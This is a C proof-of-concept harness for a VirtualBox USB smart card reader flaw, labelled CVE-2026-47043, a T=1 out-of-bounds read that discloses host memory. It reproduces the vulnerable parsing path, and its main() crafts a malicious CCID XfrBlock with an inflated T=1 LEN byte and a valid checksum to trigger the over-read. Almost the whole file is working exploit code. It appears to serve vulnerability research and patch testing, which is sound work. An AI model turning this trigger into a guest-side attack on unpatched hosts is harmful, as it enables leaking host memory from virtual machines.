// File: usb_cardreader_t1_oob_repro.c
//
// Standalone harness for:
//   VirtualBox USB Smart Card Reader CCID T=1 OOB Read / Host Memory Disclosure
//
// The real device path is:
//   PC_to_RDR_XfrBlock -> usbCardReaderXfrBlockT1()
//
// The outer CCID parser validates only that dwLength fits inside the URB.
// The T=1 parser validates checksum over dwLength bytes, but then trusts the
// embedded T=1 LEN byte and copies LEN bytes from the guest buffer into a
// response block.
//
// CVE: CVE-2026-47043
// Scope: authorized lab use only · fixed in Oracle July 2026 CPU

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#if defined(__GNUC__) || defined(__clang__)
# define NOINLINE __attribute__((noinline))
#else
# define NOINLINE
#endif

#define VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK 0x6f
#define ISO7816_T1_BLK_TYPE_MASK 0xc0
#define ISO7816_T1_BLK_S         0xc0
#define ISO7816_T1_BLK_S_RESPONSE 0x20

#pragma pack(push, 1)
typedef struct VUSBCARDREADERBULKHDR {
    uint8_t  bMessageType;
    uint32_t dwLength;
    uint8_t  bSlot;
    uint8_t  bSeq;
    union {
        struct {
            uint8_t  bBWI;
            uint16_t wLevelParameter;
        } XfrBlock;
        uint8_t abRaw[3];
    } u;
} VUSBCARDREADERBULKHDR;

typedef struct T1BLKHEADER {
    uint8_t u8Nad;
    uint8_t u8Pcb;
    uint8_t u8Len;
} T1BLKHEADER, *PT1BLKHEADER;
#pragma pack(pop)

typedef struct CARDREADERSLOT {
    int dummy;
} CARDREADERSLOT, *PCARDREADERSLOT;

static int usbCardReaderIsCrc16ChkSum(PCARDREADERSLOT pSlot)
{
    (void)pSlot;
    return 0; /* Default T=1 LRC checksum path. */
}

static int usbCardReaderT1ChkSumLrc(uint8_t *pu8ChkSum,
                                    const uint8_t *pbBlock,
                                    size_t cbBlock)
{
    uint8_t u8ChkSum = 0;
    while (cbBlock--)
        u8ChkSum ^= *pbBlock++;
    *pu8ChkSum = u8ChkSum;
    return 0;
}

static int usbCardReaderT1ChkSum(PCARDREADERSLOT pSlot,
                                 uint8_t *pu8Sum,
                                 const uint8_t *pbBlock,
                                 size_t cbBlock)
{
    (void)pSlot;
    return usbCardReaderT1ChkSumLrc(pu8Sum, pbBlock, cbBlock);
}

NOINLINE
#line 1620 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1ValidateChkSum(PCARDREADERSLOT pSlot,
                                         const uint8_t *pbBlock,
                                         size_t cbBlock)
{
    uint8_t au8Sum[2];
    uint8_t cbSum = usbCardReaderIsCrc16ChkSum(pSlot) ? 2 : 1;

    int rc = usbCardReaderT1ChkSum(pSlot, au8Sum, pbBlock, cbBlock - cbSum);
    if (rc == 0)
        return !memcmp(au8Sum, &pbBlock[cbBlock - cbSum], cbSum);

    return 0;
}

NOINLINE
#line 1640 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1CreateBlock(PCARDREADERSLOT pSlot,
                                      PT1BLKHEADER *ppT1Block,
                                      uint32_t *pcbT1Block,
                                      uint8_t u8Nad,
                                      uint8_t u8PcbFlags,
                                      uint8_t *pu8T1BodyBlock,
                                      uint8_t cbT1BodyBlock)
{
    uint32_t cbChkSum = usbCardReaderIsCrc16ChkSum(pSlot) ? 2 : 1;
    uint32_t cbT1Blk = cbT1BodyBlock + sizeof(T1BLKHEADER) + cbChkSum;

    PT1BLKHEADER pT1Blk = (PT1BLKHEADER)calloc(1, cbT1Blk);
    if (!pT1Blk)
        return -1;

    pT1Blk->u8Nad = u8Nad;
    pT1Blk->u8Pcb = u8PcbFlags;
    pT1Blk->u8Len = cbT1BodyBlock;

    if (pu8T1BodyBlock && cbT1BodyBlock)
#line 1670 "src/VBox/Devices/Security/UsbCardReader.cpp"
        memcpy(&pT1Blk[1], pu8T1BodyBlock, cbT1BodyBlock);

    usbCardReaderT1ChkSum(pSlot,
                          ((uint8_t *)pT1Blk) + cbT1Blk - cbChkSum,
                          (uint8_t *)pT1Blk,
                          cbT1Blk - cbChkSum);

    *ppT1Block = pT1Blk;
    *pcbT1Block = cbT1Blk;
    return 0;
}

NOINLINE
#line 1692 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderT1BlkSProcess(PCARDREADERSLOT pSlot,
                                      PT1BLKHEADER pT1BlkHeader)
{
    PT1BLKHEADER pT1BlkHeaderResponse = NULL;
    uint32_t cbT1BlkHeaderResponse = 0;
    int rc = 0;

    if ((pT1BlkHeader->u8Pcb & ISO7816_T1_BLK_S_RESPONSE) != 0)
        return -1;

    switch (pT1BlkHeader->u8Pcb & ~ISO7816_T1_BLK_TYPE_MASK) {
    case 0x01: /* IFS request */
        rc = usbCardReaderT1CreateBlock(pSlot,
                                        &pT1BlkHeaderResponse,
                                        &cbT1BlkHeaderResponse,
                                        pT1BlkHeader->u8Nad,
                                        pT1BlkHeader->u8Pcb | ISO7816_T1_BLK_S_RESPONSE,
                                        (uint8_t *)&pT1BlkHeader[1],
                                        pT1BlkHeader->u8Len);
        break;
    default:
        rc = -1;
        break;
    }

    printf("response=%p response_len=%u rc=%d\n",
           (void *)pT1BlkHeaderResponse, cbT1BlkHeaderResponse, rc);
    free(pT1BlkHeaderResponse);
    return rc;
}

NOINLINE
#line 1864 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderXfrBlockT1(PCARDREADERSLOT pSlot,
                                   const VUSBCARDREADERBULKHDR *pCmd)
{
    int fT1ChkSumValid = usbCardReaderT1ValidateChkSum(pSlot,
                                                       (uint8_t *)&pCmd[1],
                                                       pCmd->dwLength);
    if (!fT1ChkSumValid)
        return -1;

    PT1BLKHEADER pT1Hdr = (PT1BLKHEADER)&pCmd[1];
    printf("T=1 block: NAD=%02x PCB=%02x LEN=%u dwLength=%u\n",
           pT1Hdr->u8Nad, pT1Hdr->u8Pcb, pT1Hdr->u8Len, pCmd->dwLength);

    switch (pT1Hdr->u8Pcb & ISO7816_T1_BLK_TYPE_MASK) {
    case ISO7816_T1_BLK_S:
        return usbCardReaderT1BlkSProcess(pSlot, pT1Hdr);
    default:
        return -1;
    }
}

NOINLINE
#line 2271 "src/VBox/Devices/Security/UsbCardReader.cpp"
static int usbCardReaderBulkOutPipe(uint8_t *pbUrb, uint32_t cbUrb)
{
    CARDREADERSLOT Slot = {0};

    if (cbUrb < sizeof(VUSBCARDREADERBULKHDR))
        return -1;

    const VUSBCARDREADERBULKHDR *pCmd = (const VUSBCARDREADERBULKHDR *)pbUrb;
    if (pCmd->bMessageType != VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK)
        return -1;

    if (pCmd->dwLength > cbUrb - sizeof(VUSBCARDREADERBULKHDR))
        return -1;

    return usbCardReaderXfrBlockT1(&Slot, pCmd);
}

int main(void)
{
    const uint32_t dwLength = 4; /* Exactly NAD, PCB, LEN, LRC. */
    const uint32_t cbUrb = sizeof(VUSBCARDREADERBULKHDR) + dwLength;
    uint8_t *pbUrb = (uint8_t *)calloc(1, cbUrb);
    if (!pbUrb)
        return 1;

    VUSBCARDREADERBULKHDR *pCmd = (VUSBCARDREADERBULKHDR *)pbUrb;
    pCmd->bMessageType = VUSBCARDREADER_MSG_TYPE_PC_TO_RDR_XFRBLOCK;
    pCmd->dwLength = dwLength;
    pCmd->bSlot = 0;
    pCmd->bSeq = 1;
    pCmd->u.XfrBlock.bBWI = 0;
    pCmd->u.XfrBlock.wLevelParameter = 0;

    uint8_t *t1 = (uint8_t *)&pCmd[1];
    t1[0] = 0x00; /* NAD */
    t1[1] = 0xc1; /* S-block, IFS request */
    t1[2] = 0xff; /* Malicious LEN: claims 255 bytes of body. */
    t1[3] = t1[0] ^ t1[1] ^ t1[2]; /* Valid LRC over the 3-byte header. */

    printf("Allocated guest URB: %u bytes; CCID dwLength=%u; T=1 LEN=%u; LRC=%02x\n",
           cbUrb, pCmd->dwLength, t1[2], t1[3]);

    int rc = usbCardReaderBulkOutPipe(pbUrb, cbUrb);
    printf("usbCardReaderBulkOutPipe returned %d\n", rc);

    free(pbUrb);
    return 0;
}
